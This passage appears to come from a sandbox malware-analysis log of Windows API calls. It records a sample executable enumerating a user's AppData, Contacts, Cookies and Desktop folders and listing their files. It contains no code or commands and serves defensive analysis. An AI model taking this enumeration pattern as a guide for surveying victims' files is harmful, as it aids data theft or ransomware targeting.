(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.525] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.525] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.525] PathFindFileNameW (pszPath="") returned="" [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.525] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.525] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.525] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x406131a0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x406131a0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947cc0 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0116.526] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb2d0 [0116.526] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2acb4100, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2acb4100, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x54) returned 0x39668a0 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.526] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2acb4100, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2acb4100, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0116.526] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.526] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.526] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.526] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.526] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.526] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.526] PathFindFileNameW (pszPath="") returned="" [0116.526] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2acb4100, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2acb4100, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0116.527] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.527] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0116.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.527] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.527] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.527] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.527] PathFindFileNameW (pszPath="") returned="" [0116.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.527] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0116.528] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0116.528] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.528] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0116.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.528] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.528] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.528] PathFindFileNameW (pszPath="") returned="" [0116.528] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.528] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0116.528] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0116.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.529] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.529] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.529] PathFindFileNameW (pszPath="") returned="" [0116.529] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e5db80, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31e5db80, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e5db80, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31e5db80, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe71c00, ftCreationTime.dwHighDateTime=0x1d4c739, ftLastAccessTime.dwLowDateTime=0x5a2a7320, ftLastAccessTime.dwHighDateTime=0x1d4c9fc, ftLastWriteTime.dwLowDateTime=0x5a2a7320, ftLastWriteTime.dwHighDateTime=0x1d4c9fc, nFileSizeHigh=0x0, nFileSizeLow=0x134db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cPHmz4y9hlXd6trOnGz.ots", cAlternateFileName="CPHMZ4~1.OTS")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2eba00, ftCreationTime.dwHighDateTime=0x1d4cbd0, ftLastAccessTime.dwLowDateTime=0xabb07bd0, ftLastAccessTime.dwHighDateTime=0x1d4c66a, ftLastWriteTime.dwLowDateTime=0xabb07bd0, ftLastWriteTime.dwHighDateTime=0x1d4c66a, nFileSizeHigh=0x0, nFileSizeLow=0xfdd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dSfwXCkwSPKl-.avi", cAlternateFileName="DSFWXC~1.AVI")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d39930, ftCreationTime.dwHighDateTime=0x1d4d2a3, ftLastAccessTime.dwLowDateTime=0xca4d1770, ftLastAccessTime.dwHighDateTime=0x1d4c97a, ftLastWriteTime.dwLowDateTime=0xca4d1770, ftLastWriteTime.dwHighDateTime=0x1d4c97a, nFileSizeHigh=0x0, nFileSizeLow=0x39c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDVS.avi", cAlternateFileName="")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f1400c0, ftCreationTime.dwHighDateTime=0x1d4d0c6, ftLastAccessTime.dwLowDateTime=0x1c524720, ftLastAccessTime.dwHighDateTime=0x1d4c89a, ftLastWriteTime.dwLowDateTime=0x1c524720, ftLastWriteTime.dwHighDateTime=0x1d4c89a, nFileSizeHigh=0x0, nFileSizeLow=0x13c95, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frVUZwt9PcEpwFw.jpg", cAlternateFileName="FRVUZW~1.JPG")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec2b3f20, ftCreationTime.dwHighDateTime=0x1d4cf1f, ftLastAccessTime.dwLowDateTime=0x89920980, ftLastAccessTime.dwHighDateTime=0x1d4c799, ftLastWriteTime.dwLowDateTime=0x89920980, ftLastWriteTime.dwHighDateTime=0x1d4c799, nFileSizeHigh=0x0, nFileSizeLow=0xf9bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G0k7.m4a", cAlternateFileName="")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80164f90, ftCreationTime.dwHighDateTime=0x1d4c548, ftLastAccessTime.dwLowDateTime=0x5c992440, ftLastAccessTime.dwHighDateTime=0x1d4d5a4, ftLastWriteTime.dwLowDateTime=0x5c992440, ftLastWriteTime.dwHighDateTime=0x1d4d5a4, nFileSizeHigh=0x0, nFileSizeLow=0x6eea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GH F.mp3", cAlternateFileName="GHF~1.MP3")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7dda90, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0x341787c0, ftLastAccessTime.dwHighDateTime=0x1d4d534, ftLastWriteTime.dwLowDateTime=0x341787c0, ftLastWriteTime.dwHighDateTime=0x1d4d534, nFileSizeHigh=0x0, nFileSizeLow=0xcc16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gp40F.mp3", cAlternateFileName="")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e26310, ftCreationTime.dwHighDateTime=0x1d4c7ee, ftLastAccessTime.dwLowDateTime=0x63ed2a0, ftLastAccessTime.dwHighDateTime=0x1d4cf2f, ftLastWriteTime.dwLowDateTime=0x63ed2a0, ftLastWriteTime.dwHighDateTime=0x1d4cf2f, nFileSizeHigh=0x0, nFileSizeLow=0x752d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h7iN.jpg", cAlternateFileName="")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd264a650, ftCreationTime.dwHighDateTime=0x1d4c711, ftLastAccessTime.dwLowDateTime=0x1102bb90, ftLastAccessTime.dwHighDateTime=0x1d4d252, ftLastWriteTime.dwLowDateTime=0x1102bb90, ftLastWriteTime.dwHighDateTime=0x1d4d252, nFileSizeHigh=0x0, nFileSizeLow=0xac4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IcgE7 x.mp3", cAlternateFileName="ICGE7X~1.MP3")) returned 1 [0116.529] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e09460, ftCreationTime.dwHighDateTime=0x1d4cc75, ftLastAccessTime.dwLowDateTime=0x7f0a6050, ftLastAccessTime.dwHighDateTime=0x1d4cdb8, ftLastWriteTime.dwLowDateTime=0x7f0a6050, ftLastWriteTime.dwHighDateTime=0x1d4cdb8, nFileSizeHigh=0x0, nFileSizeLow=0x1471b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K0eRKbFqwJi63h.flv", cAlternateFileName="K0ERKB~1.FLV")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64611e90, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0x414d5ea0, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0x414d5ea0, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KaYNqgG.bmp", cAlternateFileName="")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f3ff00, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x25f3ff00, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x24c2d200, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", cAlternateFileName="LS_APP~1.EXE")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9c06c20, ftCreationTime.dwHighDateTime=0x1d4ca35, ftLastAccessTime.dwLowDateTime=0x8a3f5950, ftLastAccessTime.dwHighDateTime=0x1d4cca3, ftLastWriteTime.dwLowDateTime=0x8a3f5950, ftLastWriteTime.dwHighDateTime=0x1d4cca3, nFileSizeHigh=0x0, 